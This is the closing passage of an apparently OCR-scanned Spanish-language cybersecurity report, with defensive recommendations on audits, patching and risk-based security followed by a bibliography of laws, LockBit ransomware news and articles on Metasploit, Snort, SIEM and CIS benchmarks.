identificacion de intentos de phishing y la gestion segura de las contrasefias.

Evaluacion y refuerzo de lainfraestructura de seguridad:

Realizar auditorias de seguridad periddicas para identificar y remediar
vulnerabilidades en la infraestructura de TI.

Asegurar que todas las aplicaciones, sistemas y redes estén regularmente
actualizados con los ultimos parches de seguridad.

Adopcién de un enfoque de seguridad basado en el riesgo:

Identificar y priorizar los activos criticos de la empresa, evaluando los riesgos
segun el impacto potencial de un ataque a esos recursos.

Desarrollar estrategias de mitigacion del riesgo adaptadas a las necesidades
y capacidades especificas de la organizacion.
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8. VIDEO SUSTENTACION

https://www.youtube.com/watch?v=dq48uF67VFqg
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https://www.youtube.com/watch?v=dq48uF67VFg

9. BIBLIOGRAFIA

Policia Nacional de Colombia. (2024). LEY 1273 DE 2009.
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-
informaticos#:~:text=Art%C3%ADcul0%20269A%3A%20Acceso0%20abusivo%20a
,e1%20leg% C3%ADtimo%20derecho%20a%20excluirlo.

Ransomfeed. (2023).
https://ransomfeed.it/index.php?page=post_details&id_post=5961

Ransomfeed. (2023). https://ransomfeed.it/stats.php?page=group-
profile&group=lockbit3

El Tiempo (2023). Peligrosa banda de ciberdelincuentes se atribuy6é ataque a
seguridad de Medellin. https://www.eltiempo.com/colombia/medellin/lockbit-banda-
se-atribuye-atague-a-seguridad-de-medellin-739779

COPNIA. (2023). Codigo de ética. https://www.copnia.gov.co/tribunal-de-
etica/codigo-de-etica

Blog NLT Secure. (2021). ¢cQué es Red Team y Blue Team?
https://www.nltsecure.com/blog/que-es-red-team-y-blue-team-nlt-secure-
cibersequridad.

Funcion Puablica. (2012). Ley 1581 de 2012.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981

Secretaria de Senado. (2012). LEY ESTATUTARIA 1581 DE 2012.
http://www.secretariasenado.gov.co/senado/basedoc/ley 1581 2012.html

Ministerio de Ambiente y Desarrollo Sostenible. (2012). Proteccion de Datos

Personales. https://www.minambiente.gov.co/politica-de-proteccion-de-datos-
personales/
Héctor Rizaldos. (2018). Qué es Metasploit framework.

https://openwebinars.net/blog/que-es-metasploit/
ciberseguridad.com (2019). ¢QUE ES METASPLOIT FRAMEWORK Y COMO

FUNCIONA?. https://ciberseguridad.com/herramientas/pruebas-
penetracion/metasploit-framework/

55


https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos#:~:text=Art%C3%ADculo%20269A%3A%20Acceso%20abusivo%20a,el%20leg%C3%ADtimo%20derecho%20a%20excluirlo
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos#:~:text=Art%C3%ADculo%20269A%3A%20Acceso%20abusivo%20a,el%20leg%C3%ADtimo%20derecho%20a%20excluirlo
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos#:~:text=Art%C3%ADculo%20269A%3A%20Acceso%20abusivo%20a,el%20leg%C3%ADtimo%20derecho%20a%20excluirlo
https://ransomfeed.it/index.php?page=post_details&id_post=5961
https://ransomfeed.it/stats.php?page=group-profile&group=lockbit3
https://ransomfeed.it/stats.php?page=group-profile&group=lockbit3
https://www.eltiempo.com/colombia/medellin/lockbit-banda-se-atribuye-ataque-a-seguridad-de-medellin-739779
https://www.eltiempo.com/colombia/medellin/lockbit-banda-se-atribuye-ataque-a-seguridad-de-medellin-739779
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
https://www.nltsecure.com/blog/que-es-red-team-y-blue-team-nlt-secure-ciberseguridad
https://www.nltsecure.com/blog/que-es-red-team-y-blue-team-nlt-secure-ciberseguridad
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981
https://openwebinars.net/blog/que-es-metasploit/
https://ciberseguridad.com/herramientas/pruebas-penetracion/metasploit-framework/
https://ciberseguridad.com/herramientas/pruebas-penetracion/metasploit-framework/

WALTER CAMAMA MENACHO (2016). MSFVENOM PRUEBA DE CONCEPTO.
https://owasp.org/www-pdf-archive/OWASP_WCM_2016_-
_MSFVENOM_Prueba_de_concepto.pdf

ADVANCE NETWORKS. (2021). ¢, Qué es XDR en Ciberseguridad y para qué sirve?
(en linea). https://advance-nt.com/2021/09/23/que-es-xdr-en-ciberseguridad-ypara-
que-sirve/

CIBERSEGURIDAD. (2021). Analizando Snort.
https://ciberseguridad.com/servicios/sistema-deteccionintrusos-
ids/snort/#Puede_instalarse_en_cualquier_entorno_de_red

CIBERSEGURIDAD. (2023). Ciberataques, guia para la gestion y notificacion de
ataques informéaticos. https://ciberseguridad.com/ciberataques/

IBM. ¢ Qué son los puntos de referencia de CIS? (2021). https://www.ibm.com/mx-
es/topics/cisbenchmarks

INCIBE. (2023). Purple Team incrementa la efectividad del Red Team y Blue Team
en SCI. https://www.incibe.es/incibe-cert/blog/purple-team-incrementa-
laefectividad-del-red-team-y-blue-team-en-sci

INTELEQUIA. (2021). Red team y blue team - funciones y diferencias en
ciberseguridad. https://intelequia.com/blog/post/red-team-y-blue-team-funciones-
ydiferencias-en-ciberseguridad

KEEPCODING. (2022). ¢Qué es Snort en ciberseguridad?
https://keepcoding.io/blog/que-es-snort-en-ciberseguridad/

KEEPCODING. (2023). ¢, Qué es Suricata en ciberseguridad?
https://keepcoding.io/blog/que-es-suricata-en-ciberseguridad/

MICROSOFT. (2023). ¢,Qué es SIEM?
https://www.microsoft.com/esmx/security/business/security-101/what-
issiem#:~:text=Preguntas%20m%C3%A1s%20frecuentes-
,Definici%C3%B3n%20de%20SIEM,afecten%20las%20operaciones%20del%20ne
gocio.

MICROSOFT. (2023). ¢Qué son la deteccion y respuesta extendidas (XDR)?
https://www.microsoft.com/es-es/security/business/security-101/what-is-xdr

MICROSOFT. (2023). Center for Internet Security (CIS) Benchmarks.
https://learn.microsoft.com/en-us/compliance/regulatory/offering-cis-benchmark

56


https://advance-nt.com/2021/09/23/que-es-xdr-en-ciberseguridad-ypara-que-sirve/
https://advance-nt.com/2021/09/23/que-es-xdr-en-ciberseguridad-ypara-que-sirve/
https://ciberseguridad.com/servicios/sistema-deteccionintrusos-ids/snort/#Puede_instalarse_en_cualquier_entorno_de_red
https://ciberseguridad.com/servicios/sistema-deteccionintrusos-ids/snort/#Puede_instalarse_en_cualquier_entorno_de_red
https://www.incibe.es/incibe-cert/blog/purple-team-incrementa-laefectividad-del-red-team-y-blue-team-en-sci
https://www.incibe.es/incibe-cert/blog/purple-team-incrementa-laefectividad-del-red-team-y-blue-team-en-sci
https://intelequia.com/blog/post/red-team-y-blue-team-funciones-ydiferencias-en-ciberseguridad
https://intelequia.com/blog/post/red-team-y-blue-team-funciones-ydiferencias-en-ciberseguridad
https://keepcoding.io/blog/que-es-snort-en-ciberseguridad/
https://keepcoding.io/blog/que-es-suricata-en-ciberseguridad/
https://www.microsoft.com/es-es/security/business/security-101/what-is-xdr
https://learn.microsoft.com/en-us/compliance/regulatory/offering-cis-benchmark

NIST. (2023). Computer incident response team (CIRT).
https://csrc.nist.gov/glossary/term/computer_incident_response_team#:~:text=Defi
nitions%32.resulting%20from%20computer%20security%20incidents.

TOOLKIT. (2021). CIS-CAT Pro. https://gcatoolkit.org/es/herramienta/cis-
catpro/#:~:text=Center%20for%20Internet%20Security%2DConfiguration,en%20co
nte nido%20legible%20por%20m%C3%Alquina.

Floating. (2023). Hardening en Windows 10: Protege tu ordenador de hackers, virus,

ransomware y mas. https://floatingpoint.sorint.it/blog/post/hardening-en-windows-
10-protege-tu-ordenador-de-hackers-virus-ransomware-y-ms

57


https://floatingpoint.sorint.it/blog/post/hardening-en-windows-10-protege-tu-ordenador-de-hackers-virus-ransomware-y-ms
https://floatingpoint.sorint.it/blog/post/hardening-en-windows-10-protege-tu-ordenador-de-hackers-virus-ransomware-y-ms

